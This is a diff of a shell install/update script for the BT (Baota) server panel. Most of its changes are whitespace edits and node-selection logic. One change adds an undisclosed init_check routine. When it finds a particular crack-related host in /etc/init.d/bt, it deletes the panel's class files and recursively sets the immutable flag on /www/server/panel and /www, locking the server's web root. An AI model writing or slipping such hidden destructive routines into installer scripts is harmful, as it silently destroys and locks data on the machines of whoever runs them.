|
|
|
@ -14,11 +14,6 @@ _BT_REPO_URL=$_REPO_URL'/github/btpanel-v7.7.0/raw/branch/main'
|
|
|
|
|
|
|
|
|
|
get_node_url(){ |
|
|
|
|
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn); |
|
|
|
|
|
|
|
|
|
if [ "$1" ];then |
|
|
|
|
nodes=($(echo ${nodes[*]}|sed "s#${1}##")) |
|
|
|
|
fi |
|
|
|
|
|
|
|
|
|
tmp_file1=/dev/shm/net_test1.pl |
|
|
|
|
tmp_file2=/dev/shm/net_test2.pl |
|
|
|
|
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1} |
|
|
|
@ -47,7 +42,7 @@ get_node_url(){
|
|
|
|
|
if [ $RES -ge 3000 ];then |
|
|
|
|
break; |
|
|
|
|
fi |
|
|
|
|
fi |
|
|
|
|
fi |
|
|
|
|
fi |
|
|
|
|
done |
|
|
|
|
|
|
|
|
@ -84,7 +79,7 @@ GetPackManager(){
|
|
|
|
|
if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then |
|
|
|
|
PM="yum" |
|
|
|
|
elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then |
|
|
|
|
PM="apt-get" |
|
|
|
|
PM="apt-get" |
|
|
|
|
fi |
|
|
|
|
} |
|
|
|
|
|
|
|
|
@ -96,7 +91,7 @@ bt_check(){
|
|
|
|
|
send_check |
|
|
|
|
fi |
|
|
|
|
fi |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p_path=/www/server/panel/BTPanel/templates/default/index.html |
|
|
|
|
if [ -f $p_path ];then |
|
|
|
|
is_ext=$(cat $p_path|grep fbi) |
|
|
|
@ -115,6 +110,19 @@ send_check(){
|
|
|
|
|
NODE_URL="" |
|
|
|
|
exit 0; |
|
|
|
|
} |
|
|
|
|
init_check(){ |
|
|
|
|
CRACK_URL=(oss.yuewux.com); |
|
|
|
|
for url in ${CRACK_URL[@]}; |
|
|
|
|
do |
|
|
|
|
CRACK_INIT=$(cat /etc/init.d/bt |grep ${url}) |
|
|
|
|
if [ "${CRACK_INIT}" ];then |
|
|
|
|
rm -rf /www/server/panel/class/* |
|
|
|
|
chattr +i /www/server/panel/class |
|
|
|
|
chattr -R +i /www/server/panel |
|
|
|
|
chattr +i /www |
|
|
|
|
fi |
|
|
|
|
done |
|
|
|
|
} |
|
|
|
|
GetSysInfo(){ |
|
|
|
|
if [ "${PM}" = "yum" ]; then |
|
|
|
|
SYS_VERSION=$(cat /etc/redhat-release) |
|
|
|
@ -160,6 +168,4 @@ if [ ! $NODE_URL ];then
|
|
|
|
|
fi |
|
|
|
|
get_node_url |
|
|
|
|
bt_check |
|
|
|
|
fi |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
fi |